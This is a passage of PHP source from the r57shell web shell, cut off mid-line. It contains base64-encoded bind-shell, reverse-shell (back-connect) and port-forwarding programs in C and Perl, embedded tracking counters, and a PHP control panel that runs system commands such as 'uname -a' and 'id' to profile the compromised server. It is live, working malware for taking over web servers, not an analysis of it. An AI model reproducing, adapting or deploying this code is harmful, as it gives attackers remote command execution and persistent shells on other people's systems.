}\n$port_bind_bd_c=\"I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS\nA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I\nGFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt\nb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9\npKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF\nNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK\nikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog\nICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk\n7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2\n9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld\n2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu\ndGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp\nlbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=\";\n$port_bind_bd_pl=\"IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS\nVNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs\nJlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV\nTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG\nlzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK\nQ0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i\nOw0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N\nlIENPTk47DQpleGl0IDA7DQp9DQp9\";\n$back_connect=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj\naG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR\nhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT\nsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI\nkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi\nKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl\nOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==\";\n$back_connect_c=\"I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC\nBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb\nSAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd\nKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ\nsZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC\nAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D\nQogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp\nOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==\";\n$datapipe_c=\"I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2\nx1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb\nHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj\naGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ\nlcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm\nxpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga\nW50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy\nLCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV\nudCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow\n0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb\niIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l\nKGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA\ngIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS\nhhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC\niAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh\nZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ\nvcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC\nAgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D\nQogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh\nZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0\ngLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay\nwyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c\n29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy\nMDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA\ngICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci\n5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ\nHIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu\ndGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0\nKICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC\nZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI\nE5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp\nOw0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs\nNCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG\nJ1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL\nCZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp\ndGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo\ngIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm\nlsZSk7DQogIHJldHVybiAwOw0KfQ==\";\n$datapipe_pl=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I\nCAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl\nbW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU\ngIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol\nNvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC\niRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy\naW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ\nSICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2\nxvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ\nWRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN\nCmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9\nyIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi\nI7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc\nm91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp\nIHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ\nlYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW\nQoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK\nCR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g\nc3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0\nNCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG\nUgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I\nDApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs\nZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J\n1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=\";\n$c1 = \"PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2\nJmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l\nlPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW\nFnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L\n3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr\nJ3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR\noOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj\nxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO\ni8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv\ndGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB\nocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2\nhvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg==\";\n$c2 = \"PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh\nIGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl\nhZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz\ntzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa\nXhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u\n8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV\nybmV0LS0+\";\necho $head;\necho '</head>';\nif(empty($_POST['cmd'])) {\n$serv = array(127,192,172,10);\n$addr=@explode('.', $_SERVER['SERVER_ADDR']);\n$current_version = str_replace('.','',$version);\nif (!in_array($addr[0], $serv)) {\n@print \"\";\n@readfile (\"\");}}\necho '<body bgcolor=\"#e4e0d8\"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>\n<tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(1).'&nbsp;\n<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b>\n</font></td><td bgcolor=#cccccc><font face=Verdana size=-2>';\necho ws(2);\necho \"<b>\".date (\"d-m-Y H:i:s\").\"</b>\";\necho ws(2).$lb.\" <a href=\".$_SERVER['PHP_SELF'].\"?phpinfo title=\\\"\".$lang[$language.'_text46'].\"\\\"><b>phpinfo</b></a> \".$rb;\necho ws(2).$lb.\" <a href=\".$_SERVER['PHP_SELF'].\"?phpini title=\\\"\".$lang[$language.'_text47'].\"\\\"><b>php.ini</b></a> \".$rb;\necho ws(2).$lb.\" <a href=\".$_SERVER['PHP_SELF'].\"?cpu title=\\\"\".$lang[$language.'_text50'].\"\\\"><b>cpu</b></a> \".$rb;\necho ws(2).$lb.\" <a href=\".$_SERVER['PHP_SELF'].\"?mem title=\\\"\".$lang[$language.'_text51'].\"\\\"><b>mem</b></a> \".$rb;\necho ws(2).$lb.\" <a href=\".$_SERVER['PHP_SELF'].\"?tmp title=\\\"\".$lang[$language.'_text48'].\"\\\"><b>tmp</b></a> \".$rb;\necho ws(2).$lb.\" <a href=\".$_SERVER['PHP_SELF'].\"?delete title=\\\"\".$lang[$language.'_text49'].\"\\\"><b>delete</b></a> \".$rb.\"<br>\";\necho ws(2);\necho (($safe_mode)?(\"safe_mode: <b><font color=green>ON</font></b>\"):(\"safe_mode: <b><font color=red>OFF</font></b>\"));\necho ws(2);\necho \"PHP version: <b>\".@phpversion().\"</b>\";\n$curl_on = @function_exists('curl_version');\necho ws(2);\necho \"cURL: \".(($curl_on)?(\"<b><font color=green>ON</font></b>\"):(\"<b><font color=red>OFF</font></b>\"));\necho ws(2);\necho \"MySQL: <b>\";\n$mysql_on = @function_exists('mysql_connect');\nif($mysql_on){\necho \"<font color=green>ON</font></b>\"; } else { echo \"<font color=red>OFF</font></b>\"; }\necho ws(2);\necho \"MSSQL: <b>\";\n$mssql_on = @function_exists('mssql_connect');\nif($mssql_on){echo \"<font color=green>ON</font></b>\";}else{echo \"<font color=red>OFF</font></b>\";}\necho ws(2);\necho \"PostgreSQL: <b>\";\n$pg_on = @function_exists('pg_connect');\nif($pg_on){echo \"<font color=green>ON</font></b>\";}else{echo \"<font color=red>OFF</font></b>\";}\necho ws(2);\necho \"Oracle: <b>\";\n$ora_on = @function_exists('ocilogon');\nif($ora_on){echo \"<font color=green>ON</font></b>\";}else{echo \"<font color=red>OFF</font></b>\";}\necho \"<br>\".ws(2);\necho \"Disable functions : <b>\";\nif(''==($df=@ini_get('disable_functions'))){echo \"<font color=green>NONE</font></b>\";}else{echo \"<font color=red>$df</font></b>\";}\n$free = @diskfreespace($dir);\nif (!$free) {$free = 0;}\n$all = @disk_total_space($dir);\nif (!$all) {$all = 0;}\n$used = $all-$free;\n$used_percent = @round(100/($all/$free),2);\necho \"<br>\".ws(2).\"HDD Free : <b>\".view_size($free).\"</b> HDD Total : <b>\".view_size($all).\"</b>\";\necho '</font></td></tr><table>\n<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>\n<tr><td align=right width=100>';\necho $font;\nif(!$windows){\necho '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';\necho \"</td><td>\";\necho \"<font face=Verdana size=-2 color=red><b>\";\n$uname = ex('uname -a');\necho((!empty($uname))?(ws(3).@substr($uname,0,120).\"<br>\"):(ws(3).@substr(@php_uname(),0,120).\"<br>\"));\nif(!$safe_mode){\n$bsd1 = ex('sysctl -n kern.ostype');\n$bsd2 = ex('sysctl -n kern.osrelease');\n$lin1 = ex('sysctl -n kernel.ostype');\n$lin2 = ex('sysctl -n kernel.osrelease');\n}\nif (!empty($bsd1)&&!empty($bsd2)) { $sysctl = \"$bsd1 $bsd2\"; }\nelse if (!empty($lin1)&&!empty($lin2)) {$sysctl = \"$lin1 $lin2\"; }\nelse { $sysctl = \"-\"; }\necho ws(3).$sysctl.\"<br>\";\necho ws(3).ex('echo $OSTYPE').\"<br>\";\necho ws(3).@substr($SERVER_SOFTWARE,0,120).\"<br>\";\n$id = 